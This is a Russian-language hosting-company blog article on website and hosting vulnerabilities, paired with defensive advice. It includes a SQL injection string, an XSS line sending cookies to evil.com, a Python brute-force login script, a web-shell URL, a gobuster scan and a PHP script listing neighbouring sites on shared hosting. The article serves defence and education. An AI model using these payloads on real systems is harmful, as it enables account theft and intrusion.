Хостинг Беларусь Хостинг Беларусь
Хостинг Беларусь Хостинг Беларусь

Блог / Статьи

Полезная информация для вашего хостинга

Темная сторона веб-пространства: как хакеры проникают через хостинг

Темная сторона веб-пространства: как хакеры проникают через хостинг

Блог

Содержание

В мире цифровых технологий сайт — это не просто визитная карточка, а активный узел в глобальной сети, подверженный постоянным атакам. Многие владельцы сайтов считают, что, выбрав хостинг с красивым интерфейсом и обещаниями «абсолютной безопасности», они защищены. Но реальность сурова: подавляющее большинство взломов происходит не из-за хакерских атак высокого уровня, а из-за элементарных упущений в настройке, управлении и эксплуатации хостинга. В этой статье мы подробно разберём все возможные уязвимости на всех уровнях: от кода сайта до инфраструктуры хостинга, включая человеческий фактор. Мы рассмотрим, как злоумышленники находят бреши, какие инструменты используют и как можно защититься. Будут приведены реальные примеры, фрагменты кода, стратегии атак и методы защиты. Это не просто теория — это практическое руководство по выживанию в условиях цифровой войны.

1. Уязвимости в коде сайта: когда дверь открыта изнутри

Сайт — это программный продукт, и как любая программа, он может содержать ошибки. Эти ошибки, если они касаются безопасности, становятся **уязвимостями**, которые хакеры используют для получения контроля. Одной из самых распространённых уязвимостей является SQL-инъекция (SQL Injection). Она возникает, когда пользовательский ввод не проверяется и напрямую вставляется в SQL-запрос.

Пример уязвимого кода на PHP:



$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE login = '$username' AND pass = '$password'";
$result = mysqli_query($connection, $query);

Если злоумышленник введёт в поле логина строку ' OR '1'='1, запрос превратится в:



SELECT * FROM users WHERE login = '' OR '1'='1' AND pass = '...'

Такой запрос всегда вернёт хотя бы одну запись, и атакующий войдёт в систему без пароля.

Как защититься? Используйте подготовленные запросы (prepared statements):



$stmt = $pdo->prepare("SELECT * FROM users WHERE login = ? AND pass = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();

Ещё одна опасность — межсайтовый скриптинг (XSS). Представьте, что вы разрешаете пользователям оставлять комментарии, но не фильтруете HTML-теги. Атакующий может вставить:

<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

Как только другой пользователь откроет страницу, его куки отправятся на сервер злоумышленника. Защита: всегда экранируйте вывод с помощью функций вроде htmlspecialchars() или используйте фреймворки с автоматическим экранированием (например, Laravel Blade).

2. Слабые пароли и отсутствие двухфакторной аутентификации

Один из самых уязвимых элементов в системе — это человек. И часто он сам создаёт условия для взлома, выбирая пароли вроде 123456, password или admin123. Брутфорс-атака — это метод перебора паролей. Даже при наличии ограничений на количество попыток, слабый пароль может быть подобран за часы или минуты.

Пример простого скрипта на Python для брутфорса (в образовательных целях):



import requests

url = "https://example.com/login"
with open("passwords.txt", "r") as f:
    for password in f:
        password = password.strip()
        data = {"username": "admin", "password": password}
        response = requests.post(url, data=data)
        if "Добро пожаловать" in response.text:
            print(f"Пароль найден: {password}")
            break

Двухфакторная аутентификация (2FA) — это второй уровень защиты. Даже если пароль украден, злоумышленнику нужен второй фактор: код из приложения (Google Authenticator), SMS или физический ключ. Рекомендации:

  • Используйте пароли длиной не менее 12 символов, с цифрами, буквами и спецсимволами.
  • Храните пароли в менеджере (например, Bitwarden, KeePass).
  • Включайте 2FA на всех критических сервисах: панель хостинга, почта, CMS, SSH.

dyry03

3. Устаревшие CMS, плагины и темы: бомба замедленного действия

Системы управления контентом (CMS), такие как WordPress, Joomla, Drupal, постоянно обновляются. Каждое обновление часто закрывает критические уязвимости. Если вы игнорируете обновления — вы оставляете дверь открытой. Например, в 2020 году в популярном плагине WordPress WPForms была найдена уязвимость Arbitrary File Upload, позволяющая загружать PHP-файлы и выполнять произвольный код. Пользователи, не обновившие плагин, оказались под угрозой. Пример эксплойта:

Атакующий загружает файл shell.php через уязвимый плагин, а затем переходит по адресу:



http://site.com/wp-content/uploads/shell.php

и получает полный контроль над сервером.

Стратегия защиты:

  • Регулярно обновляйте ядро CMS, плагины и темы.
  • Удаляйте неиспользуемые плагины и темы — каждый из них — потенциальный вектор атаки.
  • Используйте сервисы вроде Wordfence или Sucuri для мониторинга уязвимостей.
  • Настройте автоматические обновления (если позволяет среда).

4. Неправильные права доступа и открытые директории

Файловая система Linux — мощный инструмент, но неправильные настройки прав доступа могут привести к катастрофе. Каждый файл и директория имеют права вида 755 или 644. Эти цифры означают:

  • Первая цифра — права владельца (read=4, write=2, execute=1)
  • Вторая — права группы
  • Третья — права для остальных

Пример:



chmod 755 /var/www/html  # владелец: rwx, группа: rx, другие: rx
chmod 644 config.php     # владелец: rw, группа: r, другие: r

Опасные практики:

  • Установка 777 на директории — это разрешение на запись для всех, включая атакующих.
  • Файлы с конфигурацией (например, wp-config.php) должны быть недоступны через веб. Если они лежат в корне и не защищены, их можно скачать.

Как проверить? Попробуйте открыть в браузере:



http://ваш-сайт.ru/wp-config.php

Если увидите код — у вас серьёзная уязвимость. Решение:

  • Переместите конфигурационные файлы за пределы корневой директории.
  • Запретите доступ к ним через .htaccess:


<Files "wp-config.php">
    Order Allow,Deny
    Deny from all

5. Грязные данные и заброшенные скрипты: мусор, который взламывает

После миграции, тестирования или обновления на сервере часто остаются:

  • Старые резервные копии (например, backup.zip, database.sql)
  • Тестовые скрипты (например, install.php, phpinfo.php)
  • Каталоги вроде /old/, /test/, /temp/

Эти файлы могут содержать:

  • Пароли от баз данных
  • Уязвимый код
  • Информацию о структуре сайта

Пример: Файл phpinfo.php показывает всю конфигурацию PHP, включая пути к файлам, переменные окружения и загруженные модули. Стратегия поиска: Хакеры используют инструменты вроде dirb или gobuster:



gobuster dir -u https://example.com -w /usr/share/wordlists/dirbuster.txt

Рекомендации:

  • Регулярно проверяйте корневую директорию на лишние файлы.
  • Удаляйте всё, что не используется.
  • Используйте .gitignore и не загружайте в репозиторий чувствительные данные.

6. Угрозы со стороны пользователя: когда враг внутри

Часто безопасность нарушается не извне, а изнутри. Пользователи:

  • Кликают по подозрительным ссылкам
  • Скачивают вредоносные файлы
  • Используют пиратское ПО
  • Подключаются к незащищённым Wi-Fi сетям

Пример: Вы получили письмо от «техподдержки хостинга» с просьбой обновить данные. Ссылка ведёт на фальшивый сайт, идентичный настоящему. Вы вводите логин и пароль — и они уходят к злоумышленнику. Такие атаки называются фишингом. ---

dyry02

7. Фишинг и атаки через электронную почту

Фишинг — один из самых эффективных методов. По данным Verizon, более 90% атак начинаются с письма. Типичные признаки фишинга:

  • Срочность: «Ваш аккаунт будет заблокирован!»
  • Ошибки в тексте или дизайне
  • Поддельные домены: support-paypal.com вместо paypal.com
  • Скрытые ссылки (проверяйте, наводя курсор)

Как защититься?

  • Никогда не переходите по ссылкам из писем без проверки.
  • Всегда вводите адрес сайта вручную.
  • Используйте антиспам-фильтры (SpamAssassin, Google Workspace).
  • Обучайте сотрудников основам кибергигиены.

8. Небрежное хранение паролей и доступов

Хранение паролей в:

  • Текстовых файлах на рабочем столе
  • Эксель-таблицах
  • Заметках в телефоне
  • В комментариях кода: // DB_PASSWORD = 'mypass123'

— это прямой путь к катастрофе. Пример катастрофы: Разработчик залил код на GitHub с паролем от базы. Боты мгновенно нашли его, и сайт был взломан. Решение:

  • Используйте менеджеры паролей.
  • Храните чувствительные данные в переменных окружения (.env), а не в коде.
  • Добавьте .env в .gitignore.
  • Используйте систему управления секретами (Hashicorp Vault, AWS Secrets Manager).

9. Игнорирование логов и уведомлений: слепота перед атакой

Логи — это «чёрный ящик» вашего сервера. В них фиксируются:

  • Ошибки PHP
  • Попытки входа по SSH
  • HTTP-запросы (в access.log)
  • Изменения файлов

Пример подозрительной записи в access.log:



192.168.1.100 - - [10/Oct/2023:14:22:33 +0300] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 1234
192.168.1.100 - - [10/Oct/2023:14:22:34 +0300] "GET /uploads/shell.php HTTP/1.1" 200 512

Второй запрос — признак загрузки веб-шелла.

Стратегия мониторинга:

  • Настройте ротацию логов (logrotate).
  • Используйте системы анализа: Graylog, ELK Stack.
  • Настройте оповещения на подозрительную активность (например, 10 неудачных входов подряд).
  • Регулярно просматривайте логи хотя бы раз в неделю.

10. Уязвимости на стороне хостинг-провайдера

Даже если вы сделали всё правильно, безопасность зависит и от хостинга. Общее окружение (shared hosting) — это когда сотни сайтов работают на одном сервере. Если один из них взломан, а изоляция слабая — атакующий может перейти на соседние аккаунты. Пример атаки: Злоумышленник на shared-хостинге запускает скрипт, который сканирует соседние директории через /home/:



$dirs = scandir("/home/");
foreach ($dirs as $dir) {
    if (is_dir("/home/$dir/public_html")) {
        echo "Found site: $dir\n";
    }
}

Если PHP работает в режиме mod_php с общим пользователем (например, www-data), такая атака возможна. Решение: Современные хостинги используют PHP-FPM с отдельным пользователем на каждый сайт — это повышает изоляцию.

11. Дыры в панелях управления: когда админка сама по себе уязвима

Панели управления (cPanel, Plesk, ISPmanager, VestaCP) — это мощные инструменты, но и они подвержены уязвимостям. Пример: В 2021 году в Plesk была найдена уязвимость CVE-2021-37826, позволяющая выполнить произвольный код при определённых условиях. Риски:

  • Устаревшие версии панелей
  • Слабые пароли администратора
  • Открытый доступ к портам (8443, 8880)

Защита:

  • Регулярно обновляйте панель управления.
  • Ограничьте доступ к панели по IP (через фаервол).
  • Используйте HTTPS с валидным сертификатом.
  • Отключайте ненужные сервисы.

12. Открытые порты и устаревшие протоколы: маяки для хакеров

Каждый открытый порт — это потенциальный вход. Сканирование портов — стандартный шаг при разведке. Опасные порты:

  • 21 (FTP) — передаёт пароли в открытом виде.
  • 23 (Telnet) — устаревший, небезопасный протокол.
  • 110/143 (POP3/IMAP) — без шифрования.

Рекомендации:

  • Замените FTP на SFTP (порт 22, шифрование через SSH).
  • Используйте SSH вместо Telnet.
  • Настройте фаервол (например, ufw или iptables):


ufw allow 22/tcp    # SSH
ufw allow 80/tcp    # HTTP
ufw allow 443/tcp   # HTTPS
ufw deny 21         # Закрыть FTP
ufw enable

13. Почему VPS безопаснее: контроль над своей судьбой

На виртуальном выделенном сервере (VPS) вы получаете полный контроль. Это значит:

  • Изоляция: ваш сервер — это отдельная виртуальная машина, никаких соседей.
  • Кастомизация: вы сами выбираете ОС, настройки, ПО.
  • Обновления: вы сами решаете, когда и что обновлять.
  • Фаервол и мониторинг: можно настроить fail2ban, auditd, SELinux.

Пример настройки fail2ban для защиты SSH:



# /etc/fail2ban/jail.local
[sshd]
enabled = true
maxretry = 3
bantime = 86400

Теперь после 3 неудачных попыток входа IP будет заблокирован на сутки. Важно: VPS безопаснее только при правильной настройке. Голый сервер без защиты — мишень №1.

dyry01

14. Быстрая проверка безопасности: чек-лист для владельца сайта

Проведите аудит за 15 минут:

  1. Обновления: Ядро CMS, плагины, темы — всё обновлено?
  2. Пароли: Сложные? 2FA включена?
  3. Файлы: Нет резервных копий, phpinfo.php, install.php?
  4. Права: Нет 777? Конфиги недоступны через браузер?
  5. Логи: Просматривались за последнюю неделю?
  6. SSL: Сертификат активен? Редирект на HTTPS?
  7. Панель управления: Обновлена? Доступ по IP ограничен?
  8. Порты: Только 80, 443, 22 открыты?
  9. Резервные копии: Есть и тестируются?
  10. Мониторинг: Есть уведомления о взломах?

Используйте инструменты:

  • Wordfence (для WordPress)
  • Nmap — сканирование портов
  • WPScan — анализ уязвимостей WordPress
  • Let's Encrypt — бесплатные SSL-сертификаты

Заключение: безопасность — это процесс, а не разовое действие

Безопасность хостинга — это не «поставил и забыл». Это непрерывный процесс мониторинга, обновления и обучения. Каждый сайт — это замок. Даже самый прочный замок бесполезен, если вы оставите ключ под ковриком. Не надейтесь на хостинг-провайдера. Не полагайтесь на удачу. Примите ответственность. Настройте VPS или выберите качественный managed-хостинг. Обновляйте, проверяйте, резервируйте, анализируйте. Цифровой мир полон угроз, но с правильным подходом вы можете не только защитить свой сайт — вы можете сделать его неприступной крепостью. Будьте бдительны. Будьте готовы. И пусть ваш сайт живёт долго и безопасно.